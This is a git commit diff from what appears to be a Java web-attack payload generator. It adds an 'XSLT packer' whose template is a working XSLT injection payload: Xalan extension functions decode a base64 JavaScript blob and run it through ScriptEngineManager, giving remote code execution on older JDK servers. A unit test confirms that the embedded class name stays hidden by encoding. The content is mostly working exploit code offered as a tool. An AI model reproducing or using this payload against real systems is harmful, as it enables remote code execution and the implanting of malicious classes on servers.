feat: add XSLT packer

This commit is contained in:
ReaJason
2026-08-30 21:19:42 +08:00
parent 70935d6ab1
commit ceb8e3ddb4
8 changed files with 189 additions and 0 deletions
@@ -53,6 +53,8 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
import com.reajason.javaweb.packer.xslt.XSLTPacker;
import com.reajason.javaweb.packer.xslt.XSLTScriptEnginePacker;
import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker;
import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker;
import com.reajason.javaweb.packer.xxljob.XxlJobPacker;
@@ -154,6 +156,12 @@ public enum Packers {
XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class),
XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class),
/**
* XSLT 打包器
*/
XSLT(new XSLTPacker()),
XSLTScriptEngine(new XSLTScriptEnginePacker(), XSLTPacker.class),
/**
* Java 反序列化打包器
*/
@@ -0,0 +1,10 @@
package com.reajason.javaweb.packer.xslt;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2026/8/30
*/
public class XSLTPacker implements AggregatePacker {
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.packer.xslt;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
/**
* JDK 1.6 ~ 1.8 XSLT payload (Xalan Java extension functions): decodes the
* JavaScript payload with javax.xml.bind.DatatypeConverter (bundled since JDK6,
* removed in JDK11) and evaluates it through the built-in ScriptEngineManager
* js engine (Rhino on JDK 1.6/1.7, Nashorn on JDK 1.8).
*
* @author ReaJason
* @since 2026/8/30
*/
public class XSLTScriptEnginePacker implements Packer {
String template = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" " +
"xmlns:base=\"http://xml.apache.org/xalan/java/javax.xml.bind.DatatypeConverter\" " +
"xmlns:stringclazz=\"http://xml.apache.org/xalan/java/java.lang.String\" " +
"xmlns:jsclazz=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\" " +
"xmlns:jseclazz=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\" " +
"exclude-result-prefixes=\"base stringclazz jsclazz jseclazz\">" +
"<xsl:template match=\"/\">" +
"<xsl:variable name=\"payload\" select=\"stringclazz:new(base:parseBase64Binary('{{base64Str}}'))\"/>" +
"<xsl:variable name=\"jsobj\" select=\"jsclazz:new()\"/>" +
"<xsl:variable name=\"jso\" select=\"jsclazz:getEngineByName($jsobj,'js')\"/>" +
"<xsl:variable name=\"jse\" select=\"jseclazz:eval($jso,$payload)\"/>" +
"<xsl:value-of select=\"$jse\"/>" +
"</xsl:template>" +
"</xsl:stylesheet>";
@Override
public String pack(ClassPackerConfig config) {
String js = Packers.DefaultScriptEngine.getInstance().pack(config);
return template.replace("{{base64Str}}",
Base64.getEncoder().encodeToString(js.getBytes(StandardCharsets.UTF_8)));
}
}
@@ -0,0 +1,33 @@
package com.reajason.javaweb.packer.xslt;
import com.reajason.javaweb.packer.ClassPackerConfig;
import org.junit.jupiter.api.Test;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertTrue;
class XSLTPackerTest {
private static ClassPackerConfig config(String className) {
ClassPackerConfig config = new ClassPackerConfig();
byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8);
config.setClassName(className);
config.setClassBytes(classBytes);
config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes));
return config;
}
@Test
void packScriptEngine() {
String payload = new XSLTScriptEnginePacker().pack(config("com.example.Test"));
assertTrue(payload.startsWith("<xsl:stylesheet"));
assertTrue(payload.contains("DatatypeConverter"));
assertTrue(payload.contains("ScriptEngineManager"));
// the inner js payload is base64 encoded, class name should not appear in plain text
assertFalse(payload.contains("com.example.Test"));
}
}